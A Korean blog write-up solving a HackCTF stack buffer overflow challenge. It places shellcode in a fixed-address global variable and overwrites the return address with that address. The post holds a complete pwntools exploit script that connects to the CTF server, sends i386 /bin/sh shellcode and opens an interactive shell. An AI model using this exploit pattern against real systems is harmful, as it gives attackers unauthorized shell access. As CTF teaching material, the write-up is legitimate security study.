s 변수의 크기부터 봐보자. 0x14 쉘 코드를 넣기에는 공간이 부족하고, s 변수의 주소를 알아낼 수 없다.
name 변수를 보자. name변수는 bss 영역에 있는걸 보아 초기화되지 않은 전역 변수인 거 같다.
보호 기법도 없으니 name 변수는 항상 고정된 위치에 있을 것이다.
name 변수 위치인 0804A060에 쉘 코드를 넣고,
s를 버퍼 오버플로우를 이용하여 ret을 name 변수 주소로 덮어 씌울 것이다.
from pwn import *
context.log_level = 'debug'
#r = process("./prob1")
r = remote("ctf.j0n9hyun.xyz", 3003)
context(arch='i386', os='linux')
shell = asm(shellcraft.i386.linux.sh())
r.recvuntil(": ")
r.sendline(shell)
payload = b''
payload += b'A' * (0x14 + 4)
payload += p32(0x804a060)
r.recvuntil(": ")
r.sendline(payload)
r.interactive()
이상하게 로컬에서 돌렸을때는 쉘이 제대로 작동하지 않았는데 서버에 시도할때는 제대로 됐다.
728x90
'해킹 > writeup' 카테고리의 다른 글
9. HackCTF - Offset (0) | 2021.07.11 |
---|---|
8. HackCTF - x64 Simple_size_BOF (0) | 2021.07.11 |
6. DreamHack - basic_exploitation_000 (0) | 2021.07.11 |
5. HackCTF - Simple_Overflow_ver_2 (0) | 2021.07.11 |
4. HackCTF - x64 Buffer Overflow (0) | 2021.06.16 |